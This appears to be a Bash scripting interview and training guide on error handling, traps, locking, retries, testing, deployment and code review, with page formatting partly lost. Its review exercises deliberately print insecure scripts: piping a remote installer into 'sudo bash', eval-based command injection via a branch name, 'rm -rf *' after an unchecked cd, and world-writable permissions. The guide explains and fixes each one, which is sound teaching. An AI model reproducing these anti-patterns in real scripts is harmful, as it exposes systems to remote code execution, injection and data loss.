opsctl convention (lowest to highest precedence): built-in defaults → config file etc/opsctl.conf → environment variables OPSCTL_<KEY> → command-line flags. lib/config.sh Assign in order, later overriding earlier; the config file must not be sourced source (it would run arbitrary code); instead, parse whitelisted keys line by line.
declare -A CFG=([env]=dev [region]=canadacentral [timeout]=30)
load_conf() { # accept only key=value; keys must be on the whitelist
local f=$1 k v; [[ -r $f ]] || return 0
while IFS='=' read -r k v || [[ -n $k ]]; do
[[ $k =~ ^[[:space:]]*(#|$) ]] && continue
k=${k//[[:space:]]/}; v=${v%$'\r'}
[[ -v CFG[$k] ]] || { log::warn "$f: unknown key '$k' ignored"; continue; }
CFG[$k]=$v
done < "$f"
}
load_conf "$OPSCTL_HOME/etc/opsctl.conf"
for k in "${!CFG[@]}"; do # environment variable OPSCTL_<KEY> overrides the file
ev="OPSCTL_${k^^}"; [[ -n ${!ev:-} ]] && CFG[$k]=${!ev}
done
# then parse flags (--env prod) to override CFG[...], and validate values in one place
config subcommand prints the final effective values and their sources, which helps troubleshooting.source a config file? Once others can modify it, it equals code execution; it also pollutes the global variables.Do not store sensitive values (tokens) in plaintext config files: use a secrets management service, or a 0600 file read at runtime.
“Directly source config.sh is the simplest”.
here-doc (<<EOF): multi-line text as stdin, for generating configs, feeding ssh/psql/kubectl apply -f - scripts; <<'EOF' turns off expansion. here-string (<<<"$var"): a variable as stdin, replacing echo "$var" | cmd, saving a pipe and a subshell. Process substitution (<(cmd)): command output used as a "filename", for commands that need file arguments (diff <(a) <(b)), and keeps while read in the current shell (#15).
kubectl apply -f - <<EOF
apiVersion: v1
kind: ConfigMap
metadata: { name: app, namespace: ${NS:?} }
data: { LOG_LEVEL: "info" }
EOF
IFS=, read -r name env _ <<< "$line"
diff <(LC_ALL=C sort a.txt) <(LC_ALL=C sort b.txt)
ssh "$h" 'bash -s' -- "$arg" < remote.sh # run a local script on the remote host, passing arguments separately
wait $!.When a here-doc generates Kubernetes / YAML, special characters in variable values can break the YAML; in complex cases, switch to yq or a templating tool (Helm).
“Process substitution is just a pipe.”
See Lesson 2 Module 7.
Measure first (time,bash -x count,strace -c -f check the number of fork/exec calls); the bottleneck is usually one fork/exec per line (external $(…),echo | cut,sed,date). Optimizations: ① parameter expansion,[[ =~ ]],printf -v and other builtins replacing external commands; ② hand the whole loop to one awk/jq/sort; ③ parallelize when needed (xargs -P); ④ switch languages if still not enough.
# slow: 3 forks per line
while read -r line; do ip=$(echo "$line" | cut -d' ' -f1); d=$(date -d "$(echo "$line" | awk '{print $4}' | tr -d '[')" +%s); …; done < access.log
# fast: builtins
while IFS=' ' read -r ip _ _ ts _; do ts=${ts#[}; …; done < access.log
printf -v now '%(%s)T' -1 # the builtin gets the time without calling date
# fastest: one awk process handles everything
LC_ALL=C awk '{ c[$1]++ } END { for (i in c) print c[i], i }' access.log | sort -rn | head
LC_ALL=C Let sort/grep process bytes, often several times faster (and results are reproducible, #20).${ cmd; } lets builtin and function calls avoid forking, which suits capturing output inside loops.for line in $(cat file) (it reads everything into memory and splits wrongly).hyperfine or repeated time comparisons, and use regression tests to ensure the results match.Give orders of magnitude: on an ordinary VM one fork+exec takes on the order of milliseconds (verify by measurement); 100,000 lines × 3 calls is several minutes.
“Add & to run each line in the background”—100,000 processes will overwhelm the machine (#36, #37).
Each day ops exports a CSV from the CMDB (generated on Windows, with a BOM and CRLF, some fields quoted and containing commas). Count hosts per environment, run health checks on prod hosts in parallel, and upload a JSON report to object storage. Give the design and key code, and explain which parts should use Bash and which should not.
\r (#13); parse the CSV with mlr/Python (Q22), and output JSONL or TSV for the next steps.xargs -0 -P 8 or wait -n token pool, each host writes its own result file,timeout + curl --max-time (#36, #37, #38).jq -s aggregate into JSON,jq -e validate the structure (#25); write to a temp file before upload, and upload only after validation.The old script uses eval "host_${i}=\$(…)" to create variables dynamically, then eval echo \$host_$i reads them; processing 5000 hosts takes 15 minutes, and there was once an incident where a host name containing $(…) led to command execution. Please refactor.
declare -A host_status in place of dynamic variable names, and remove eval entirely (#11, Q18).awk/jq processing, or batch the cloud API calls (Q25).[[ $h =~ ^[A-Za-z0-9.-]+$ ]].eval regressions.No verified video was found that specifically covers nameref, dynamic scope and configuration precedence; follow the GNU Bash manual and Lesson 3.
set -e exceptions, trap, temp files, locks and idempotency, retry backoff, debugging techniques, ShellCheck, bats, shfmt and style, logging, signals, portability testingbash -n → ShellCheck → shfmt → bats (multiple versions / platforms) → code review checklist.Browse the questions and their focus first; click a row to jump to the details.
set -euo pipefail What does each do? Would you add it to every script? What are its limitations?Intermediate-e set -e: a command (simple / pipeline / list / compound) returning non-zero exits (exceptions in Q27); -u set -u: an unset variable errors and exits; -o pipefail pipefail: the pipeline exit code is the rightmost non-zero. Enable it by default in new scripts (add -E so the ERR trap enters functions), but treat it only as a safety net; key steps still need || die explicit handling: -e is ineffective for functions called in conditionals,local x=$(…), background jobs (#26, #27, #36); pipefail turns SIGPIPE into a failure (#29).
#!/usr/bin/env bash set -Eeuo pipefail shopt -s inherit_errexit 2>/dev/null || true # 4.4+: $( ) inherits -e internally trap 'log::error "line $LINENO: $BASH_COMMAND (rc=$?)"' ERR IFS=$'\n\t' # optional: reduces splitting on spaces (the team must agree)
-u Pair it with: optional arguments use ${1:-}/${VAR:-default} (#3).grep with no match (#22),((i++)) (#30).GitHub Actions explicitly shell: bash comes with -eo pipefail, and the default shell only -e (#45).
“Once set -e is added, you no longer need to handle errors.”
See Lesson 4 Module 1.
set -e does not take effect (at least 5 cases), and how you respond.SeniorAccording to the Bash manual: ① a command in while/until conditions; ②if/elif test; ③&&/|| non-final commands in a list; ④ non-final pipeline segments (without pipefail); ⑤! negated commands; ⑥ functions called in the above contexts: the entire function body is not affected. Seemingly exceptions: ⑦local/export/declare masking command substitution exit codes; ⑧ command substitution as an argument (echo "$(false)") ; ⑨ background & jobs; ⑩$( ) inside does not inherit by default -e (requires inherit_errexit).
set -e
f() { false; echo "still running"; }
f || true # prints "still running": the -e setting is ignored throughout the function body
if f; then :; fi # same as above
! f # same as above
x=$(f) # $( ) does not inherit -e by default (non-POSIX mode in Bash), so it will print
echo "$(false)" # does not exit: the exit code belongs to echo
cmd || return; ② separate declaration from assignment (SC2155); ③ background jobs wait "$pid" collect results (#36); ④ explicitly handle commands where return value 1 has business meaning (#22); ⑤ use the Part A decision exercises in this module and bats to cover failure paths.set -E (#32).Quote the manual sentence: "If a compound command or shell function executes in a context where -e is being ignored, none of the commands executed within the compound command or function body will be affected by the -e setting", and give a real consequence in a deployment script (#26).
Naming only “pipes” as the one kind.
See Lesson 4 Module 1, and this lesson Module 3 Animation.
EXIT: when the shell exits (normal termination,exit,set -e, fatal signals that Bash can catch); ERR: a command fails (same rules as set -e, needs -E to enter functions); INT/TERM: a signal is received; SIGKILL cannot be caught. Reliable pattern: register the EXIT trap before creating resources; make cleanup idempotent; turn INT/TERM into exit 128+N EXIT, then clean up in one place; preserve the original exit code.
tmpdir=''; lockfd=''
cleanup() {
local rc=$?
trap - EXIT # prevents re-entry
[[ -n $tmpdir ]] && rm -rf -- "$tmpdir"
kill $(jobs -p) 2>/dev/null || true # terminate background child processes (#33)
exit "$rc"
}
trap cleanup EXIT
trap 'exit 130' INT; trap 'exit 143' TERM
tmpdir=$(mktemp -d)
cmd & wait $!.BASH_TRAPSIG, so a generic handler can tell which signal was received.A cleanup failure should not overwrite the original exit code; signal semantics of PID 1 in containers (#33, Q37).
“A last line at the end of the script rm -rf $tmp is enough”.
/tmp/myapp.$$ What problems does it solve?Beginner$$ Predictable and reused: concurrent instances overwrite each other, and an attacker can pre-create a symlink (#34). mktemp Random names,O_EXCL atomic creation, mode 0600 (0700 for directories); it neither overwrites nor follows existing files.
tmpdir=$(mktemp -d "${TMPDIR:-/tmp}/opsctl.XXXXXX") || exit 1
trap 'rm -rf -- "$tmpdir"' EXIT
out=$(mktemp "$tmpdir/out.XXXXXX")
# write the final file: mv within the same filesystem is atomic
mktemp_in_dest=$(mktemp "/etc/app/.app.conf.XXXXXX"); render > "$mktemp_in_dest"; mv -f -- "$mktemp_in_dest" /etc/app/app.conf
TMPDIR; macOS mktemp template rules differ slightly from GNU; explicitly give a XXXXXX full template, which is most portable.PrivateTmp=; put sensitive data in $XDG_RUNTIME_DIR (tmpfs, per-user isolation).fs.protected_symlinks / fs.protected_regular It is only a mitigation provided by the kernel, not a replacement.
“$RANDOM “A random-looking filename is random enough”—still not an atomic creation.
See Lesson 4 Module 3.
Mutual exclusion: flock——exec 9>lockfile; flock -n 9 || exit 0, the lock is released automatically when the process exits (#35). Idempotency: check the desired state before changing it, i.e. check whether it exists before creating (mkdir -p,id user || useradd); render the whole config, compare, then replace; use declarative tools (install,systemctl enable --now,ln -sfn), not append (echo >>).
exec 9>"/run/lock/opsctl-${cmd}.lock"; flock -n 9 || { log::warn "already running"; exit 0; }
ensure_line() { # idempotently ensure a line exists
local line=$1 file=$2
grep -qxF -- "$line" "$file" 2>/dev/null || printf '%s\n' "$line" >> "$file"
}
render_conf > "$tmp"; cmp -s "$tmp" /etc/app.conf || { install -m 0644 "$tmp" /etc/app.conf; systemctl reload app; }
/run/lock (tmpfs, cleared on reboot) or the service's RuntimeDirectory=; do not put it on NFS.Only idempotent operations can be retried automatically and safely (Q31).
“Use if [ -f /tmp/lock ]; then exit; fi; touch /tmp/lock”—it has a race condition and leaves stale files behind.
See Lesson 4 Module 4: Concurrency and locks: flock and idempotency.
Retry only transient errors (timeout 124, connection failure, HTTP 429/502/503/504); do not retry deterministic errors (4xx bad parameters, authentication failure); use exponential backoff plus random jitter, capped by a maximum number of attempts and an overall time limit; the retried operation must be idempotent (Q30).
retry() { # usage: retry 5 curl -fsS --max-time 10 "$url"
local max=$1; shift
local n=1 delay=1 rc
while :; do
"$@" && return 0
rc=$?
(( n >= max )) && { log::error "giving up after $n attempts (rc=$rc): $*"; return "$rc"; }
case $rc in 22|6|7|28|124|56) ;; *) return "$rc" ;; esac # curl: HTTP≥400 (22), DNS (6), connection (7), timeout (28), receive (56)
local sleep_s=$(( delay + RANDOM % delay ))
log::warn "attempt $n failed (rc=$rc), retry in ${sleep_s}s"
sleep "$sleep_s"; n=$((n+1)); delay=$(( delay * 2 > 30 ? 30 : delay * 2 ))
done
}
--retry N --retry-max-time S --retry-connrefused, which covers most transient errors; prefer it.curl -f returns 22 for every status ≥400, so it cannot distinguish 404 from 503; for precise judgments, use -w '%{http_code}' to get the status code (Lesson 6 Module 1).Honor the server's Retry-After header and the cloud API rate-limiting documentation.
until cmd; do sleep 1; done— no upper bound, no backoff, and deterministic errors retried forever.
First make it “talk”: ①set -x + a PS4 with position information PS4; ②BASH_XTRACEFD write the trace to a separate file and upload it as an artifact; ③ the ERR trap prints the BASH_SOURCE/BASH_LINENO/FUNCNAME call stack; ④ print environment differences (Bash version,/bin/sh, PATH, locale, tool versions); ⑤ reproduce locally with the same image (docker run CI image,env -i). xtrace can leak secrets (#46).
export PS4='+ ${EPOCHREALTIME} ${BASH_SOURCE##*/}:${LINENO}:${FUNCNAME[0]:-main}: '
exec 9>>"${RUNNER_TEMP:-/tmp}/trace.log"; BASH_XTRACEFD=9; set -x
stacktrace() { local i; for ((i=1; i<${#FUNCNAME[@]}; i++)); do printf ' at %s (%s:%s)\n' "${FUNCNAME[i]}" "${BASH_SOURCE[i]}" "${BASH_LINENO[i-1]}" >&2; done; }
trap 'echo "ERR rc=$? cmd=$BASH_COMMAND" >&2; stacktrace' ERR
bash -n script.sh # syntax check only
caller 0 # inside a function, print the caller's line number, function name and file
EPOCHREALTIME (Bash 5.0+) adds microsecond timestamps to traces to find slow steps and races.local - (Bash 4.4+, restored on return set option), then set -x.bashdb Mention a debugger; as a last resort, strace -f -e trace=execve,openat look at what actually ran.
“Adding echo everywhere”.
SC2086 (unquoted expansion, #1), SC2155 (separate declaration and assignment, #27), SC2164 (cd unhandled cd failure, #31), SC2115 (${var:?} guard against deleting /*, #2), SC2045 (iterating over ls output, #5), SC2181 (indirect checking of $?, #18), SC2162 (read missing -r, #12), SC2024 (sudo does not apply to redirection, #43), SC2035 (glob prefixed with ./, #50), SC1017 (CRLF, #13), SC3xxx (Bash syntax in POSIX sh, #40). Latest verified ShellCheck 0.11.0.
shellcheck -x -S style -f gcc scripts/*.sh lib/*.sh # -x follows source # .shellcheckrc (in the repository root) external-sources=true # suppressions need a reason, and should be as narrow as possible # shellcheck disable=SC2086 # deliberate splitting: $FLAGS is a space-separated list of options docker run $FLAGS "$image" # shellcheck source=lib/log.sh source "$SCRIPT_DIR/lib/log.sh"
((i++))), which still require tests and review.Map rule numbers to the real incidents in Part A, rather than just “following the hint blindly”.
Adding # shellcheck disable=all at the top of the file and calling it done.
Use bats-core (latest verified v1.14.0, with bats-support v0.3.0 and bats-assert v2.2.4): @test inside run commands, and assert $status,$output. Testability: put logic in functions and add a main guard, which makes it easy to source. External dependencies (curl,az,kubectl) use test doubles: put same-named fake scripts in a temp directory placed at PATH the front of PATH.
#!/usr/bin/env bats
setup() {
load 'test_helper/bats-support/load'; load 'test_helper/bats-assert/load'
STUB="$BATS_TEST_TMPDIR/bin"; mkdir -p "$STUB"; PATH="$STUB:$PATH"
cat > "$STUB/curl" <<'EOF'
#!/usr/bin/env bash
echo "$*" >> "$BATS_TEST_TMPDIR/curl.calls"; exit "${CURL_RC:-0}"
EOF
chmod +x "$STUB/curl"
source "$BATS_TEST_DIRNAME/../bin/opsctl" # the main guard keeps sourcing from running main
}
@test "health: retries on timeout then fails with rc=1" {
CURL_RC=28 run cmd::health https://example.invalid/healthz
assert_failure 1
assert_output --partial "giving up"
[ "$(wc -l < "$BATS_TEST_TMPDIR/curl.calls")" -eq 3 ]
}
@test "unknown command exits 2" { run main nope; assert_failure 2; }
bash:5.2,bash:5.3, and where needed bash:3.2).run How is set -e treated in a test? run captures the status, so the test does not fail immediately; use run -1 cmd to assert a specific exit code (bats 1.5+).Write a regression test for each pitfall in Part A (for example #14 last line, #2 empty-variable guard).
“Scripts can't be tested; just run it by hand.”
Based on the Google Shell Style Guide: #!/usr/bin/env bash; 2-space indentation; lowercase function names,:: separating package names; constants and environment variables in uppercase, plus readonly/export; declare variables inside functions as local; have a main; use [[ ]],$( ); write errors to stderr; consider switching languages beyond about 100 lines or when the logic gets complex. shfmt (latest verified v3.14.1) manages formatting (indentation, spaces, line breaks); in CI shfmt -d checks it, but does not manage semantics.
shfmt -i 2 -ci -bn -d . # 2 spaces, indented case, binary operators at line start; -d only shows the diff shfmt -i 2 -ci -bn -w . # write back # can also be configured in .editorconfig: [*.sh] indent_style = space / indent_size = 2
Consistent style improves review efficiency and reduces diff noise; run it automatically in pre-commit.
“Style doesn't matter as long as it runs.”
Logs to stderr, data to stdout: logs are human-readable and data can be composed by pipes / command substitution (ips=$(opsctl servers list) without mixing in logs). Logs include a timestamp (UTC, ISO 8601), level, script name and PID, and support LOG_LEVEL filtering; in systemd / containers, write directly to stderr and let journald / the runtime collect it; when machines need to parse it, output JSON lines.
declare -A _LOG_LV=([debug]=10 [info]=20 [warn]=30 [error]=40)
log::_emit() {
local lv=$1; shift
(( ${_LOG_LV[$lv]} >= ${_LOG_LV[${LOG_LEVEL:-info}]} )) || return 0
printf '%s %-5s %s[%d]: %s\n' "$(date -u +%FT%TZ)" "${lv^^}" "${0##*/}" "$$" "$*" >&2
}
log::info() { log::_emit info "$@"; }
log::error() { log::_emit error "$@"; }
log::json() { jq -nc --arg lvl "$1" --arg msg "$2" '{ts: (now|todate), level: $lvl, msg: $msg}' >&2; }
[[ -t 2 ]] and respect NO_COLOR.Use logger -t opsctl or systemd-cat to write to syslog/journald, keeping structured fields.
“Echo everything to stdout”.
docker stop always waits out the full grace period (default 10 seconds) before exiting with exit code 137. Why? How do you fix it?Seniorbash as PID 1: the kernel applies no default signal actions to PID 1, and bash has no SIGTERM handler installed, so SIGTERM is ignored; the child process (the real service) never receives it either. After the grace period the runtime sends SIGKILL, exit code 137 (#33). Fix: once the entrypoint script finishes its setup, exec "$@", let the service become PID 1; or use --init/tini; if bash must remain, install a trap that forwards signals, and run the foreground wait.
#!/usr/bin/env bash
set -Eeuo pipefail
render_config > /etc/app/app.conf
exec /usr/local/bin/app --config /etc/app/app.conf "$@" # recommended: replace the shell with the service process
# when bash must stay (for example to do cleanup):
child=0
term() { [[ $child -gt 0 ]] && kill -TERM "$child"; }
trap term TERM INT
/usr/local/bin/app & child=$!
wait "$child"; rc=$? # after a signal interrupts, wait again to get the real exit code
wait "$child" 2>/dev/null || true
exit "$rc"
bash -c 'sleep 300; echo done' as PID 1,docker stop exit code 137; with trap + wait $! → 143 and prints the cleanup log.terminationGracePeriodSeconds (default 30 seconds),preStop hooks, and readiness probes drain traffic first.CMD app is wrapped as /bin/sh -c, which has the same problem; use the exec form CMD ["app"].bash -c 'app' (a single command): why it sometimes seems fine: Bash -c directly execs the last simple command in the file, leaving no bash process.
“Increase the stop timeout”.
First set the goals: the minimum Bash version (3.2? 4.4? 5.x?) and the required external tools (GNU or the POSIX subset). Then: #!/usr/bin/env bash; check at runtime BASH_VERSINFO and dependencies (exit 3 if missing); avoid GNU-specific options or do capability detection (#24, #48); the CI matrix (bash:3.2/bash:5.3 containers, macOS runner, Alpine images) run the same bats suite; for pure POSIX scripts, use dash + shellcheck -s sh to test.
for img in bash:3.2 bash:5.2 bash:5.3; do
docker run --rm -v "$PWD":/w -w /w "$img" bash -c 'bash --version | head -1; ./test/smoke.sh'
done
shellcheck -s bash --severity=warning scripts/*.sh
sed_inplace() { if sed --version >/dev/null 2>&1; then sed -i "$@"; else sed -i '' "$@"; fi; }
sed -i,date -d/-v,stat -c/-f,readlink -f,grep -P,xargs -r,find -printf,base64 -w,mktemp,sort -V,echo -e.Use containers to make the runtime environment part of the artifact: the most thorough portability approach.
"Writing #!/bin/sh with a shebang is portable"—yet the content is all Bash syntax.
The team has an 800-line deploy.sh, ShellCheck reports 214 warnings, and every change is nerve-racking. Give an improvement plan that can be implemented within two weeks.
bash -n, shfmt (unify formatting first, in a separate commit), and run ShellCheck in "changed lines only" or baseline mode; new code has zero warnings.set -Eeuo pipefail first add smoke tests, and fix the false positives one by one (#22, #30).The deployment pipeline runs dozens of times a day; in about 2% of runs it reports success, yet production still runs the old version. There are no errors in the logs. How do you locate the problem?
set -e ineffective inside functions called conditionally (#26); local x=$(…) masks download failures (#27); failures in early pipeline stages (#28); failures of parallel steps get wait swallowed (#36); two deployments running at the same time overwrite each other (#35); curl without -f treats an error page as the artifact (#25)./version endpoint) and fail if it does not match.A data migration script was interrupted by an operator's Ctrl-C, leaving half the files in the target directory; the next run skipped the files that "already existed", so the data ended up incomplete. Please redesign it.
mktemp -d), and only after everything is complete and verified, atomically mv/rename move it to the final location (#34).trap Handle INT/TERM → EXIT to clean up the temp directory (Q28); SIGKILL cannot be caught, so at the start of the next run, clean up leftover temp directories (by prefix and age)..done written last), rather than mere existence; the whole process is re-entrant (Q30).No verified video was found that covers BASH_XTRACEFD/PS4 debugging and signal forwarding for container PID 1; refer to Lesson 7 and #33 in this lesson.
Browse the questions and their focus first; click a row to jump to the details. For code-review questions, try to find the problems on paper within 5 minutes before expanding the answer.
#!/bin/sh BACKUP_DIR=$1 cd $BACKUP_DIR rm -rf * mysqldump -u root -p$DB_PASS --all-databases | gzip > backup-$(date +%F).sql.gz echo "backup done"
The most serious is destructive: with no arguments or when the directory does not exist, cd fails (or cd to $HOME),rm -rf * deletes the current directory (#2, #31). Next,silent failure: with no pipefail, mysqldump failure still produces a 20-byte gz and prints done (#28). Then security: the password is in command-line arguments,ps visible (#46), and unquoted (#1). Also: deleting old backups before creating new ones (if it fails, nothing remains),#!/bin/sh, no locking, no verification.
#!/usr/bin/env bash
set -Eeuo pipefail
backup_dir=${1:?usage: backup.sh <backup_dir>}
[[ -d $backup_dir ]] || { echo "not a directory: $backup_dir" >&2; exit 2; }
exec 9>"$backup_dir/.lock"; flock -n 9 || { echo "another backup running" >&2; exit 0; }
tmp=$(mktemp "$backup_dir/.backup.XXXXXX"); trap 'rm -f -- "$tmp"' EXIT
# keep credentials in a 0600 options file, not in argv
mysqldump --defaults-extra-file=/etc/mysql/backup.cnf --single-transaction --all-databases | gzip > "$tmp"
gzip -t "$tmp"
final="$backup_dir/backup-$(date -u +%F).sql.gz"
mv -- "$tmp" "$final"; trap - EXIT
find "$backup_dir" -maxdepth 1 -name 'backup-*.sql.gz' -mtime +14 -delete # clean up old backups only after the new backup succeeds
echo "backup ok: $final ($(stat -c %s "$final") bytes)"
DB_PASS When -p$DB_PASS is empty, mysqldump asks for a password interactively and hangs under cron; ShellCheck reports SC2086 and SC2164, but cannot find the logical problem of "delete first, back up later".
Only pointing out "variables must be quoted", missing the deletion order and the silent failures.
Related: #1 #2 #28 #31 #34 #35 #46; Lesson 6 Module 5 Backup and rotation.
#!/bin/bash
set -e
errors=0
for f in $(ls /var/log/app/*.log); do
cat $f | grep ERROR | while read line; do
((errors++))
done
done
echo "errors: $errors"
find /var/log/app -mtime +7 | xargs rm
① the while in a pipeline runs in a subshell,errors changes are lost, so it is always 0 (#15); ②set -e under ((errors++)) returns 1 the first time, but only makes the pipeline subshell exit (#30); ③$(ls …) splits filenames (#5),cat $f is unquoted (#1); ④grep returns 1 on no match; without pipefail it is ignored, and with pipefail the script exits (#22); ⑤find | xargs rm is unsafe for filenames with spaces or newlines (#23), and find has no -type f and name filter, so it tries to delete directories and other files; ⑥read missing -r (#12).
#!/usr/bin/env bash
set -Eeuo pipefail
shopt -s nullglob
log_dir=/var/log/app
files=("$log_dir"/*.log)
errors=0
if (( ${#files[@]} )); then
errors=$(cat -- "${files[@]}" | grep -c ERROR || true) # count in one pass, no per-line loop
fi
echo "errors: $errors"
find "$log_dir" -type f -name '*.log' -mtime +7 -print0 | xargs -0 -r rm -f --
grep -c ERROR -- "${files[@]}" Directly output file:count; or awk '/ERROR/{c[FILENAME]++} END{for(f in c) print c[f], f}'."A per-line while + ((n++))" is itself an anti-pattern (Q25); log cleanup should be left to logrotate / journald retention policies.
Only saying "switch to shopt -s lastpipe”——for still has one more layer in cat |, and lastpipe does not take effect during interactive debugging.
Related: #1 #5 #12 #15 #22 #23 #30.
#!/bin/bash set -x TOKEN=$(cat ~/.deploy_token) curl -s https://tools.example.com/install.sh | sudo bash BRANCH=$1 eval "git checkout $BRANCH" curl -s -H "Authorization: Bearer $TOKEN" "https://api.example.com/deploy?branch=$BRANCH&env=$2" chmod -R 777 /opt/app
①set -x logs the token (#46); ②curl | sudo bash: root runs unverified remote code; if the download is interrupted, half a script runs,-s without -f means the error page also runs (#25); ③eval "git checkout $BRANCH": a branch name can inject arbitrary commands (#11); ④ the token is in curl's command-line arguments, visible to users on the same machine; ps ; ⑤$BRANCH,$2 is unvalidated and not URL-encoded; ⑥chmod -R 777: anyone can modify the code; ⑦ no error handling and no pipefail.
#!/usr/bin/env bash
set -Eeuo pipefail
branch=${1:?usage: deploy.sh <branch> <env>}; env=${2:?usage: deploy.sh <branch> <env>}
[[ $branch =~ ^[A-Za-z0-9._/-]+$ && $branch != -* ]] || { echo "invalid branch" >&2; exit 2; }
[[ $env =~ ^(dev|staging|prod)$ ]] || { echo "invalid env" >&2; exit 2; }
# install the tool: download to a file → verify a pinned SHA256 → execute
tmp=$(mktemp -d); trap 'rm -rf -- "$tmp"' EXIT
curl -fsSL --max-time 60 -o "$tmp/install.sh" "https://tools.example.com/v1.4.2/install.sh"
echo "${INSTALL_SHA256:?} $tmp/install.sh" | sha256sum -c -
sudo bash "$tmp/install.sh"
git checkout --quiet "$branch" -- # passed as an argument, no eval; -- stops it being taken as a path/option
# the token enters the request header via stdin; it does not appear in argv or xtrace
curl -fsS --max-time 30 -H @- -G "https://api.example.com/deploy" \
--data-urlencode "branch=$branch" --data-urlencode "env=$env" \
< <(printf 'Authorization: Bearer %s\n' "$(cat ~/.deploy_token)")
sudo chown -R root:app /opt/app && sudo chmod -R u=rwX,g=rX,o= /opt/app
git checkout "$branch" In the regex, - beyond regex matching, also reject a leading dash, because a branch name beginning with it is taken as an option (#50) -.
Only saying "remove set -x".
Related: #11 #25 #46 #50; Lesson 4 Module 7 Security.
"Versioned directories + atomic symlink switch": each release is extracted into /opt/app/releases/<version>, with dependencies and config prepared,ln -sfn after creating a temporary link, mv -T atomically replace /opt/app/current; reload the service and run a health check; on failure, switch back to the previous version. Keep the latest N versions, lock the deployment, and record logs and exit codes.
deploy() {
local ver=$1 base=/opt/app rel prev
rel="$base/releases/$ver"; prev=$(readlink -f "$base/current" || true)
exec 9>"$base/.deploy.lock"; flock -n 9 || util::die "deploy in progress"
[[ -d $rel ]] || { mkdir -p -- "$rel.tmp" && tar -xzf "artifacts/app-$ver.tgz" -C "$rel.tmp" && mv -T -- "$rel.tmp" "$rel"; }
ln -sfn -- "$rel" "$base/current.tmp" && mv -Tf -- "$base/current.tmp" "$base/current" # rename(2): atomic (GNU mv -T)
systemctl reload-or-restart app
if ! retry 10 curl -fsS --max-time 3 http://127.0.0.1:8080/healthz >/dev/null; then
log::error "health check failed, rolling back to $prev"
[[ -n $prev ]] && ln -sfn -- "$prev" "$base/current.tmp" && mv -Tf -- "$base/current.tmp" "$base/current"
systemctl reload-or-restart app; return 1
fi
ls -1dt "$base"/releases/*/ | tail -n +6 | xargs -r -d '\n' rm -rf -- # keep 5 (GNU xargs -d)
}
ln -sfn? It is a two-step "delete + create", with a moment where there is no link; mv -T use rename(2) to replace it in one step.Know when to switch to platform capabilities: container rolling updates, blue/green or canary releases (Kubernetes, cloud load balancers); the script only orchestrates.
"First rm -rf /opt/app and then extract the new version".
See Lesson 6 Module 4 Deployment script: health checks, rollback and atomic switching.
Read the list line by line (fd 3 prevents ssh from swallowing stdin, #16) → one background job per host,ssh -n -o BatchMode=yes -o ConnectTimeout=5 + timeout → wait -n or xargs -P to limit concurrency → each host writes its output to its own file → summarize by exit code; any failure makes the script exit non-zero (#36, #37).
run_one() {
local h=$1 out=$2
timeout -k 5 60 ssh -n -o BatchMode=yes -o ConnectTimeout=5 "$h" 'uptime; df -h /' >"$out/$h.log" 2>&1
echo $? >"$out/$h.rc"
}
export -f run_one
out=$(mktemp -d)
grep -vE '^\s*(#|$)' hosts.txt | tr -d '\r' |
xargs -r -P 20 -I{} bash -c 'run_one "$1" "$2"' _ {} "$out"
failed=$(grep -lv '^0$' "$out"/*.rc | xargs -r -n1 basename | sed 's/\.rc$//')
[[ -z $failed ]] || { printf 'FAILED:\n%s\n' "$failed" >&2; exit 1; }
xargs -I{} Pass the host name as an argument to bash -c, rather than concatenating it into the code string (#11).forks,--limit, failure summaries), or the cloud's Run Command / SSM.parallel -j20 --timeout 60 --joblog jobs.tsv --halt never Has built-in retries and job logs (latest verified version 20261022).Host key policy: do not use StrictHostKeyChecking=no as a shortcut; pre-distribute known_hosts or use SSH certificates.
for h in $(cat hosts); do ssh $h cmd & done; wait— no concurrency limit, swallowing stdin, failures invisible.
#!/bin/bash
users=(alice bob)
for u in ${users[@]}; do useradd -m $u; done
sudo echo "net.core.somaxconn=4096" >> /etc/sysctl.conf
echo "export APP_ENV=prod" >> ~/.bashrc
cd /opt && git clone https://git.example.com/app.git
function setup_dirs { mkdir /var/lib/app; chown app /var/lib/app; }
setup_dirs
①Not idempotent: on rerun, useradd (user already exists),git clone (directory already exists),mkdir all fail,>> re-append the configuration (Q30); ②sh runtime arrays and function syntax errors (#40); ③sudo echo >> redirection is unaffected by sudo (#43); ④ writing ~/.bashrc has no effect on services (services do not read bashrc, #42, Q7); ⑤chown app when app the user may not exist; ⑥ no error handling, so failures are ignored and it continues.
#!/usr/bin/env bash set -Eeuo pipefail for u in alice bob; do id -u "$u" >/dev/null 2>&1 || useradd -m -- "$u"; done id -u app >/dev/null 2>&1 || useradd --system --no-create-home --shell /usr/sbin/nologin app install -m 0644 /dev/stdin /etc/sysctl.d/90-app.conf <<<'net.core.somaxconn=4096' # separate file, safe to run repeatedly sysctl --system >/dev/null install -d -o app -g app -m 0750 /var/lib/app if [[ -d /opt/app/.git ]]; then git -C /opt/app pull --ff-only; else git clone -- https://git.example.com/app.git /opt/app; fi # put the service environment into the systemd unit: Environment=APP_ENV=prod
runcmd invoke it with bash /path/script, or write_files + execute it; better still, use cloud-init's native modules (users,write_files) or configuration management.This script is essentially configuration management; as it grows it should migrate to Ansible (declarative, idempotent, with changed reporting).
Only fixing syntax and not mentioning idempotency.
Related: #40 #42 #43; Q30.
①Output: --query (JMESPath) + -o tsv/--output text to extract values; for complex cases, use JSON + jq, and handle empty values (az's None) (#25); ②Pagination: aws CLI v2 paginates automatically by default; watch --max-items and NextToken; most az list commands return everything; ③Rate limiting: Throttling / 429 with backoff and retry (Q31); ④Identity and scope: print the current account / subscription first, and pass --profile/--subscription explicitly (#49); ⑤Security: --dry-run, list before confirming, require an explicit parameter for deletion, and use OIDC in CI.
az account show --query '{sub:name, id:id}' -o tsv
mapfile -t vms < <(az vm list -g "${RG:?}" --query "[?tags.env=='dev'].name" -o tsv)
for vm in "${vms[@]}"; do retry 5 az vm deallocate -g "$RG" -n "$vm" --no-wait; done
aws sts get-caller-identity --query Account --output text
aws ec2 describe-instances --region ca-central-1 \
--filters Name=tag:env,Values=dev Name=instance-state-name,Values=running \
--query 'Reservations[].Instances[].InstanceId' --output text | tr '\t' '\n' |
xargs -r -n 50 aws ec2 stop-instances --region ca-central-1 --dry-run --instance-ids
--output text Separate multiple values with tabs and hand them to xargs after conversion; batch APIs take several IDs in one call to reduce the number of calls.--no-wait + status polling with a timeout, or the CLI's wait subcommands.Add --yes switches and interactive confirmation ([[ -t 0 ]] prompts only when the flag is set; by default it only prints the plan.
for id in $(aws ec2 describe-instances | grep InstanceId | cut -d'"' -f4).
